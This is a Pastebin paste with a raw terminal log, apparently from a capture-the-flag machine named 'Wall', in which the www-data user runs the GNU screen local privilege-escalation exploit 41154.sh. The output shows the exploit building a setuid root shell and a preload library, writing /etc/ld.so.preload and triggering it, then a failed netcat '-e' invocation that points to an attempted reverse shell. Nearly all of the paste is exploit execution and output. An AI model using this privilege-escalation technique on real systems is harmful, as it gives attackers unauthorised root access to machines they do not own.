Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- www-data@Wall:/tmp$ ./41154.sh
- ./41154.sh
- ~ gnu/screenroot ~
- [+] First, we create our shell and library...
- /tmp/libhax.c: In function ‘dropshell’:
- /tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’; did you mean ‘chroot’? [-Wimplicit-function-declaration]
- chmod("/tmp/rootshell", 04755);
- ^~~~~
- chroot
- /tmp/rootshell.c: In function ‘main’:
- /tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
- setuid(0);
- ^~~~~~
- setbuf
- /tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
- setgid(0);
- ^~~~~~
- setbuf
- /tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
- seteuid(0);
- ^~~~~~~
- setbuf
- /tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
- setegid(0);
- ^~~~~~~
- /tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
- execvp("/bin/sh", NULL, NULL);
- ^~~~~~
- /usr/bin/ld: cannot open output file /tmp/rootshell: Permission denied
- collect2: error: ld returned 1 exit status
- [+] Now we create our /etc/ld.so.preload file...
- [+] Triggering...
- ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
- [+] done!
- No Sockets found in /tmp/screens/S-www-data.
- nc: invalid option -- 'e'
- usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
- [-m minttl] [-O length] [-P proxy_username] [-p source_port]
- [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
- [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]
- www-data@Wall:/tmp$
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement